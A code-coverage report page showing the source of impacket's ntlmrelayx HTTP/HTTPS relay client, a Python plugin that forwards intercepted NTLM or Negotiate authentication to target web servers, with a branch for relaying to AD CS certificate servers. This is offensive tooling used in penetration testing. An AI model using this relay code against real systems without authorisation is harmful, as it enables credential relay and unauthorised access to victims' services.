Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/httprelayclient.py : 20%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# HTTP Protocol Client
11# HTTP(s) client for relaying NTLMSSP authentication to webservers
12#
13# Author:
14# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
15# Alberto Solino (@agsolino)
16#
17import re
18import ssl
19try:
20 from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady
21except ImportError:
22 from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady
23import base64
25from struct import unpack
26from impacket import LOG
27from impacket.examples.ntlmrelayx.clients import ProtocolClient
28from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
29from impacket.ntlm import NTLMAuthChallenge
30from impacket.spnego import SPNEGO_NegTokenResp
32PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"]
34class HTTPRelayClient(ProtocolClient):
35 PLUGIN_NAME = "HTTP"
37 def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ):
38 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
39 self.extendedSecurity = extendedSecurity
40 self.negotiateMessage = None
41 self.authenticateMessageBlob = None
42 self.server = None
43 self.authenticationMethod = None
45 def initConnection(self):
46 self.session = HTTPConnection(self.targetHost,self.targetPort)
47 self.lastresult = None
48 if self.target.path == '':
49 self.path = '/'
50 else:
51 self.path = self.target.path
52 return True
54 def sendNegotiate(self,negotiateMessage):
55 #Check if server wants auth
56 self.session.request('GET', self.path)
57 res = self.session.getresponse()
58 res.read()
59 if res.status != 401:
60 LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)
61 try:
62 if 'NTLM' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'):
63 LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))
64 return False
65 if 'NTLM' in res.getheader('WWW-Authenticate'):
66 self.authenticationMethod = "NTLM"
67 elif 'Negotiate' in res.getheader('WWW-Authenticate'):
68 self.authenticationMethod = "Negotiate"
69 except (KeyError, TypeError):
70 LOG.error('No authentication requested by the server for url %s' % self.targetHost)
71 if self.serverConfig.isADCSAttack:
72 LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')
73 else:
74 return False
76 #Negotiate auth
77 negotiate = base64.b64encode(negotiateMessage).decode("ascii")
78 headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)}
79 self.session.request('GET', self.path ,headers=headers)
80 res = self.session.getresponse()
81 res.read()
82 try:
83 serverChallengeBase64 = re.search(('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1)
84 serverChallenge = base64.b64decode(serverChallengeBase64)
85 challenge = NTLMAuthChallenge()
86 challenge.fromString(serverChallenge)
87 return challenge
88 except (IndexError, KeyError, AttributeError):
89 LOG.error('No NTLM challenge returned from server')
90 return False
92 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
93 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
94 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
95 token = respToken2['ResponseToken']
96 else:
97 token = authenticateMessageBlob
98 auth = base64.b64encode(token).decode("ascii")
99 headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)}
100 self.session.request('GET', self.path,headers=headers)
101 res = self.session.getresponse()
102 if res.status == 401:
103 return None, STATUS_ACCESS_DENIED
104 else:
105 LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status)
106 #Cache this
107 self.lastresult = res.read()
108 return None, STATUS_SUCCESS
110 def killConnection(self):
111 if self.session is not None:
112 self.session.close()
113 self.session = None
115 def keepAlive(self):
116 # Do a HEAD for favicon.ico
117 self.session.request('HEAD','/favicon.ico')
118 self.session.getresponse()
120class HTTPSRelayClient(HTTPRelayClient):
121 PLUGIN_NAME = "HTTPS"
123 def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ):
124 HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
126 def initConnection(self):
127 self.lastresult = None
128 if self.target.path == '':
129 self.path = '/'
130 else:
131 self.path = self.target.path
132 try:
133 uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
134 self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context)
135 except AttributeError:
136 self.session = HTTPSConnection(self.targetHost,self.targetPort)
137 return True